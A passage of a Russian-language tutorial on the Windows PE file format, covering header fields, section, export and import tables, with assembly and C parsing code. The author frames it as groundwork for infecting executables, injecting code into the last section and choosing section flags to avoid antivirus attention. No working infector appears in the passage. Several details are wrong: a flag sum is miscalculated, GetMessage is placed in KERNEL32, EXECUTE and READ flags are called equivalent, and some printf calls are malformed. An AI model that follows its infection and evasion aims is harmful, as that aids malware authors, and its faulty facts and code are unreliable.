adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
    adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, 00000000h
add esi, 00000040h
sub ecx, 00000040h
je func0_saltito2
 
func0_saltito6:
add eax, dword ptr [esi]
 
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, dword ptr [esi+40h]
adc eax, dword ptr [esi+44h]
adc eax, dword ptr [esi+48h]
adc eax, dword ptr [esi+4Ch]
adc eax, dword ptr [esi+50h]
adc eax, dword ptr [esi+54h]
adc eax, dword ptr [esi+58h]
adc eax, dword ptr [esi+5Ch]
adc eax, dword ptr [esi+60h]
adc eax, dword ptr [esi+64h]
adc eax, dword ptr [esi+68h]
adc eax, dword ptr [esi+6Ch]
adc eax, dword ptr [esi+70h]
adc eax, dword ptr [esi+74h]
adc eax, dword ptr [esi+78h]
adc eax, dword ptr [esi+7Ch]
adc eax, 00000000h
add esi, 00000080h
sub ecx, 00000080h
jne func0_saltito6
 
func0_saltito2:
test edx, edx
je func0_saltito0
 
func0_saltito7:
sub ecx, ecx
mov cx, word ptr [esi]
add eax, ecx
adc eax, 00000000h
add esi, 00000002h
sub edx, 00000002h
jne func0_saltito7
 
func0_saltito0:
mov edx, eax
shr edx, 10h
and eax, 0000FFFFh
add eax, edx
mov edx, eax
shr edx, 10h
add eax, edx
and eax, 0000FFFFh
pop esi
ret 000Ch
end start

 

WORD    Subsystem;

Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:

#define IMAGE_SUBSYSTEM_UNKNOWN 0 // неизвестная подсистема
#define IMAGE_SUBSYSTEM_NATIVE 1 // приложению не требуется подсистема
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2  // запускается в подсистеме Windows GUI
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // запускается в подсистеме Windows character
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // запускается в подсистеме OS/2 character
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // запускается в подсистеме Posix character
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8 // приложение – драйвер Windows 9x
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // запускается в подсистеме Windows CE

 

Подсистема может быть только одна. Если подсистема CUI, то Windows создает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI

 

WORD    DllCharacteristics;

Поле никогда не используется. Может быть любым.

 

DWORD   SizeOfStackReserve;

Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле.

 

DWORD   SizeOfStackCommit;

Объем виртуальной памяти, выделяемой под начальный стек потока.

 

DWORD   SizeOfHeapReserve;

Объем виртуальной памяти, резервируемой под начальный хип программы.

 

DWORD   SizeOfHeapCommit;

Объем виртуальной памяти, выделяемой под начальный хип программы.

 

DWORD   LoaderFlags;

Не используемое поле. Может быть любым.

 

DWORD   NumberOfRvaAndSizes;

Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. Даже константа IMAGE_NUMBEROF_DIRECTORY_ENTRIES в WINNT.H определена как 10H. Так что размер опционального заголовка, скорее всего, будет E0H байт.

 

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

 

Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:

typedef struct _IMAGE_DATA_DIRECTORY

{
     DWORD VirtualAddress; //RVA директории
     DWORD Size;//Размер директории
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

 

Вообще каждый элемент массива указывает на какую-либо структуру, например на таблицу импорта. Т.е. каждый элемент это информация о директории, каждая из которых несет собой определенную смысловую нагрузку. Определенный индекс в массиве соответствует определенной директории. Директория может быть секцией, а может и не быть секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта, то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов: 

#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Директория экспорта
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Директория импорта
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Директория ресурсов
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Директория исключений
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Директория безопасности
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 //Таблица базовых поправок
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Отладочная директория
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 //Данные специфичные для архитектуры
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA глобальных указателей
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS директория
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Директория конфигурации при загрузке
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Директория Bound-импорта
#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Таблица импортированных адресов (IAT)
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 //Дескриптор delay-импорта
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime дескриптор

Структура IMAGE_DATA_DIRECTORY содержит в себе RVA директории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.

Работа с заголовками PE-файла

 

void printHeaders(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
printf("#####File Header#####\n");
printf("Machine:%X\nNumber of Sections:%X\nTimeDateStamp:%X\nPointer to Symbol Table:%X\nNumber Of Symbols:%X\nSize Of Optional Header:%X\nCharacteristics:%X\n",pPE->FileHeader.Machine,pPE->FileHeader.NumberOfSections,pPE->FileHeader.TimeDateStamp,pPE->FileHeader.PointerToSymbolTable,pPE->FileHeader.NumberOfSymbols,pPE->FileHeader.SizeOfOptionalHeader);
printf("#####Optional Header#####\n");
printf("Magic:%X\nMajorLinkerVersion:%X\nMinorLinkerVersion:%X\nSizeOfCode:%X\nSizeOfInitializedData:%X\nSizeOfUninitializedData:%X\nAddressOfEntryPoint:%X\nBaseOfCode:%X\nBaseOfData:%X\nImageBase:%X\nSectionAlignment:%X\nFileAlignment:%X\nMajorOperatingSystemVersion:%X\nMinorOperatingSystemVersion:%X\nMajorImageVersion:%X\nMinorImageVersion:%X\nMajorSubsystemVersion:%X\nMinorSubsystemVersion:%X\nWin32VersionValue:%X\nSizeOfImage:%X\nSizeOfHeaders:%X\nCheckSum:%X\nSubsystem:%X\nDllCharacteristics:%X\nSizeOfStackReserve:%X\nSizeOfStackCommit:%X\nSizeOfHeapReserve:%X\nSizeOfHeapCommit:%X\nLoaderFlags:%X\nNumberOfRvaAndSizes:%X\n",
pPE->OptionalHeader.Magic,pPE->OptionalHeader.MajorLinkerVersion,pPE->OptionalHeader.MinorLinkerVersion,pPE->OptionalHeader.SizeOfCode,pPE->OptionalHeader.SizeOfInitializedData,pPE->OptionalHeader.SizeOfUninitializedData,pPE->OptionalHeader.AddressOfEntryPoint,pPE->OptionalHeader.BaseOfCode,pPE->OptionalHeader.BaseOfData,pPE->OptionalHeader.ImageBase,pPE->OptionalHeader.SectionAlignment,pPE->OptionalHeader.FileAlignment,pPE->OptionalHeader.MajorOperatingSystemVersion,pPE->OptionalHeader.MinorOperatingSystemVersion,pPE->OptionalHeader.MajorImageVersion,pPE->OptionalHeader.MinorImageVersion,pPE->OptionalHeader.MajorSubsystemVersion,pPE->OptionalHeader.MinorSubsystemVersion,pPE->OptionalHeader.Win32VersionValue,pPE->OptionalHeader.SizeOfImage,pPE->OptionalHeader.SizeOfHeaders,pPE->OptionalHeader.CheckSum,pPE->OptionalHeader.Subsystem,pPE->OptionalHeader.DllCharacteristics,pPE->OptionalHeader.SizeOfStackReserve,pPE->OptionalHeader.SizeOfStackCommit,pPE->OptionalHeader.SizeOfHeapReserve,pPE->OptionalHeader.SizeOfHeapCommit,pPE->OptionalHeader.LoaderFlags,pPE->OptionalHeader.NumberOfRvaAndSizes);
}

Работа с таблицей директорий

void printDataDirectory(long hMap)
{
PIMAGE_NT_HEADERS pPE=static_cast<struct _IMAGE_NT_HEADERS *>NTSIGNATURE((long)hMap);
PIMAGE_DATA_DIRECTORY DataDirectory=(PIMAGE_DATA_DIRECTORY)&(pPE->OptionalHeader.DataDirectory);
for (int i=0;i<pPE->OptionalHeader.NumberOfRvaAndSizes;i++)
{
 switch (i)
 {
case IMAGE_DIRECTORY_ENTRY_EXPORT:printf("---Export Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_IMPORT:printf("---Import Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_RESOURCE:printf("---Resource Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_EXCEPTION:printf("---Exception Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_SECURITY:printf("---Security Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_BASERELOC:printf("---Basereloc Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_DEBUG:printf("---Debug Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:printf("---Architecture Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_GLOBALPTR:printf("---GlobalPTR Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_TLS:printf("---TLS Directory---\nRVA: %X\n%Size: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:printf("---LOADCONFIG Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:printf("---Bound-Import Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_IAT:printf("---IAT Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:printf("---Delay-Import Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
case IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR:printf("---Com Descriptor Directory---\nRVA: %X\nSize: %X\n",DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
 }
}
}

Таблица секций

Таблица секций – это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов :). Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки,  а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо «талантливые» программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях Windows NT могут использоваться много стандартных секций - .text(.CODE) – код программы, .bss – для неинициализированных данных, .rdata – данные только для чтения, .data – глобальные переменные, .rsrc – ресурсы, .edata – экспорт, .idata – импорт, .debug – отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[8];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
 
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

 

Опишем по порядку эти поля:

 

BYTE    Name[8];

Название секции.

union

{

            DWORD   PhysicalAddress;

            DWORD   VirtualSize;

} Misc;

 

Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawData выровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то…здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.

 

DWORD   VirtualAddress;

Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA.

 

DWORD   SizeOfRawData;

Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла.

 

DWORD   PointerToRawData;

Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении.

 

DWORD   PointerToRelocations;

Не используется в исполняемых файлах. Может быть любым.

 

DWORD   PointerToLinenumbers;

Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение.

 

WORD    NumberOfRelocations;

Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым.

 

WORD    NumberOfLinenumbers;

Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbers не используется, то может принимать любые значения.

 

DWORD   Characteristics;

Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.

#define IMAGE_SCN_CNT_CODE 0x00000020 // Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // Секция содержит неинициализированные данные.
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Эта секция отбрасывается когда программа уже загружена. Важно, при внедрении отбросить этот флаг если он установлен для данной секции.
#define IMAGE_SCN_MEM_SHARED 0x10000000 // Секция является общедоступной или разделяемой.
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 //Секция является исполняемой.
#define IMAGE_SCN_MEM_READ 0x40000000 // Данные секции можно читать.
#define IMAGE_SCN_MEM_WRITE 0x80000000 // В секцию можно записывать данные.

 

Флаги IMAGE_SCN_MEM_EXECUTE и IMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию «или». Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristics будет выглядить следующим образом:

80000000H
+
40000000H
+
00000020H
=
A0000020H

 

Это значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.

Работа с таблицей секций

Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.

void printSectionHeader(long hMap)
{
PIMAGE_NT_HEADERS pPE=static_cast<struct _IMAGE_NT_HEADERS *>NTSIGNATURE((long)hMap);
PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)(pPE->FileHeader.SizeOfOptionalHeader+(long)&(pPE->OptionalHeader) );
for (int i=0;i<pPE->FileHeader.NumberOfSections;i++)
{
 
printf("----------Section: %.8s----------\nVirtual Address: %X\nVirtual Size: %X\nSizeOfRawData: %X\n PointerToRawData: %X\nCharacteristics: %X\n",&(Section->Name)
,Section->VirtualAddress,Section->Misc.VirtualSize,Section->SizeOfRawData,Section->PointerToRawData,Section->Characteristics);
Section++;
}
}

Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.

Таблица Экспорта

Экспорт – механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLL обычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал – это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.

 

В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

 

DWORD Characteristics;

Это поле не используется. Может быть любым.

 

DWORD   TimeDateStamp;

Это поле содержит дату создания файла. Может быть любым.

 

WORD    MajorVersion; WORD    MinorVersion;

Поля не используются. Могут быть любыми.

 

DWORD   Name;

Это RVA ASCIIZ-строки содержащей имя данного исполняемого модуля.

 

DWORD   Base;

Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B,57B,58B и больше экспортируемых функций нет, то это значение будет 56B.

 

DWORD   NumberOfFunctions;

Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу.

 

DWORD   NumberOfNames;

Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам.

 

DWORD   AddressOfFunctions;

RVA массива адресов функций. Адреса функций – это RVA точек входа каждой функции. Т.к. RVA в PE32 32-х разрядные, то это массив DWORD’ов.

 

DWORD   AddressOfNames;

Это поле является RVA и указывает на массив указателей на строки. Строки – ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле.

 

DWORD   AddressOfNameOrdinals; 

RVA массива слов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.

 

Как происходит экспорт

Самое важное поле в таблице экспорта – это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции – по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них – AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNames содержит RVA строк с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:

 

Не забывайте, что имена функций могут быть представлены в двух версиях -  ANSI и UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции.  Для ANSI версии в конце имени функции используется буква A, для UNICODE W.

 

В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.

Передача экспорта

Иногда в одной DLL содержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeap из NTDLL.DLL.

 

Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот «адрес функции» является RVA-строки вида имя_библиотеки.имя_функции (например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить, что функция является переданной.

Работа с таблицей экспорта

Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:

a) Поиск адреса функции по имени. Алгоритм выглядит так:

  1) Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.

  2) Использовать этот индекс как индекс в массиве AddressOfNameOrdinals и получить значение в массиве.

  3) Вычесть из полученного значения OrdinalBase.

  4) Использовать полученный индекс, чтобы получить RVA функции в массиве AddressOfFuncions

Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.

б) Поиск имени по ординалу

  1) Взять ординал и сложить его с OrdinalBase.

  2) Найти полученное значение в массиве AddressOfNameOrdinals.

  3) Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.

void PrintExportTable(long hMap)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE(hMap);
short NumberOfSection=pPE->FileHeader.NumberOfSections;
DWORD ExportRVA=pPE->OptionalHeader.DataDirectory[0].VirtualAddress;
 
PIMAGE_EXPORT_DIRECTORY Export=(PIMAGE_EXPORT_DIRECTORY)RVAtoOffset((long)hMap,ExportRVA);
Export=(PIMAGE_EXPORT_DIRECTORY)((long)Export+(long)hMap);
 
WORD* AddressOfNameOrdinals=(unsigned short *)RVAtoOffset((long)hMap,Export->AddressOfNameOrdinals);
AddressOfNameOrdinals=(WORD*)((long)AddressOfNameOrdinals+(long)hMap);
 
DWORD* AddressOfNames=(unsigned long *)RVAtoOffset((long)hMap,Export->AddressOfNames);
AddressOfNames=(DWORD*)((long)AddressOfNames+(long)hMap);
 
DWORD* AddressOfFunctions=(unsigned long *)RVAtoOffset((long)hMap,Export->AddressOfFunctions);
AddressOfFunctions=(DWORD*)((long)AddressOfFunctions+(long)hMap);
 
WORD index;
printf("%4s %-40s %s\n-----------------------------------------------------------------------\n","Ordinal","NameOfFunctions","EntryPoint");
for (unsigned int i=0;i<Export->NumberOfFunctions-1;i++)
{
index=0xFFFF;
for (unsigned int j=0;j<Export->NumberOfNames;j++)
{
if (AddressOfNameOrdinals[j]==(i+Export->Base))
{
index=j;continue;
}
}
if ((AddressOfFunctions[i]>=pPE->OptionalHeader.DataDirectory[0].VirtualAddress)&&(AddressOfFunctions[i]<=pPE->OptionalHeader.DataDirectory[0].VirtualAddress+pPE->OptionalHeader.DataDirectory[0].Size))
{
if (index!=0xFFFF) printf("%4d |%-35s |Forw->%s\n",i+Export->Base,(long)hMap+RVAtoOffset((long)hMap,AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,AddressOfFunctions[i]));
else printf("%4d |OrdinalOnly |Forw->%s\n",i+Export->Base,(long)hMap+RVAtoOffset((long)hMap,AddressOfNames[index]),(long)hMap+RVAtoOffset((long)hMap,AddressOfFunctions[i]));
}
if (index!=0xFFFF) printf("%4d |%-35s |%X\n",i+Export->Base,(long)hMap+RVAtoOffset((long)hMap,AddressOfNames[index]),AddressOfFunctions[i]);
else printf("%4d |OrdinalOnly |%X\n",i+Export->Base,AddressOfFunctions[i]);
}
}

Таблица импорта

Импорт в PE-файлах – это механизм позволяющий использовать функции или переменные из модулей отличных от данного. Если наша программа вызывает функцию GetMessage, которая находиться в библиотеке KERNEL32.DLL, то вместо инструкции CALL используется инструкция JMP DWORD PTR [XXXXXXXX]. Адрес указанный как XXXXXXXX находиться где-то в таблице импорта. Посмотрите на рисунок, и Вы все поймете:

 

Это очень удачное решение – хранить адрес функции в одном месте. Если DLL загрузиться по определенному адресу, то загрузчику необходимо изменить только адрес функции в таблице импорта, а не каждый вызов данной функции.

Директория импорта и таблица импорта есть понятия эквивалентные, так что имейте это ввиду при  чтении других авторов.

Импорт PE-файлов может происходить четырьмя различными способами. Повеселимся над этими механизмами и терминами, используемыми при импорте функций PE-файла. Импорт файлов - это первая вещь, которая действительно интересна.

Структуры и термины импорта

Когда загружается исполняемый файл, то загрузчик использует таблицу импорта, чтобы узнать какие функции импортирует данный модуль. Потом загрузчик загружает библиотеки содержащие данные функции, если они не загружены, с помощью функции LoadLibrary. LoadLibrary возвращает адрес библиотеки в адресном пространстве текущего процесса. Чтобы получить адрес функции надо использовать функцию GetProcAddress. Ей передается имя функции и базовый адрес библиотеки. Т.о. в таблицу импорта добавляются адреса нужных функций при загрузке, а потом используются после загрузки. В некоторых библиотеках адреса функций уже имеются, это сделано в целях оптимизации, но об этом немного позже (в разделе «Биндинг»).

 

Таблица импорта начинается с массива элементов типа IMAGE_IMPORT_DESCRIPTOR. Количество элементов массива нигде не указывается, но вместо этого первый элемент последнего члена массива -  нулевой. Каждый элемент соответствует DLL, из которой импортируют функции. Каждый элемент выглядит следующим образом:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
 
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

Опишем поля этой структуры по порядку.

union

{
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};

Это поле содержит RVA массива двойных слов. Каждый элемент этого массива является объединением  IMAGE_THUNK_DATA32 и соответствует функции PE-файла соответствующего элементу IMAGE_IMPORT_DESCRIPTOR. Это поле равно нулю, если это последний элемент в массиве элементов типа IMAGE_IMPORT_DESCRIPTOR. Это поле должно быть больше SizeOfHeaders и меньше либо равно SizeOfImage, иначе файл загружен не будет.

 

DWORD   TimeDateStamp;

Временная отметка, когда был создан данный файл. От этого поля зависит, как загрузчик будет обрабатывать импорт данного файла. Если оно равно нулю, то загрузчик обрабатывает таблицу импорта как надо, т.е. используя стандартный механизм. Если она равна -1, то загрузчик не смотрит на массивы OriginalFirstThunk и FirstThunk, а полагает, что данная библиотека импортируется через Bound-импорт (о нем позже). Если TimeDateStamp обозначает временную метку, то если она равна временной метке импортируемой DLL, загрузчик просто проецирует ее на адресное пространство процесса, не настраивая таблицу адресов IAT. Если штамп времени есть, но он не совпадает с штампом DLL, то загрузчик настраивает таблицу как обычно. Т.о. предполагается, что адреса функций заданы во время компиляции, т.е. используется «биндинг» (подробнее об этом ниже).

 

DWORD   ForwarderChain;

Это поле связано с передачей экспорта, описанного выше. Это поле содержит индекс в массиве FirstThunk. Функция указанная этим полем, будет послана в другую DLL. Загрузчик не проверяет это поле, так что оно может иметь любой значение.

 

DWORD   Name;

Имя DLL, откуда импортируются функции.

 

DWORD   FirstThunk;

RVA массива двойных слов. Каждый элемент массива типа IMAGE_THUNK_DATA32. Об этом типе далее.

 

В структуре IMAGE_IMPORT_DESCRIPTOR содержатся указатели на массивы элементов типа IMAGE_THUNK_DATA. Эти массивы называются таблицами адресов импорта (IATimport address table). Вообще, т.к. массив OriginalFirstThunk не патчится загрузчиком, то только FirstThunk считается настоящей таблицей адресов импорта – IAT.

 

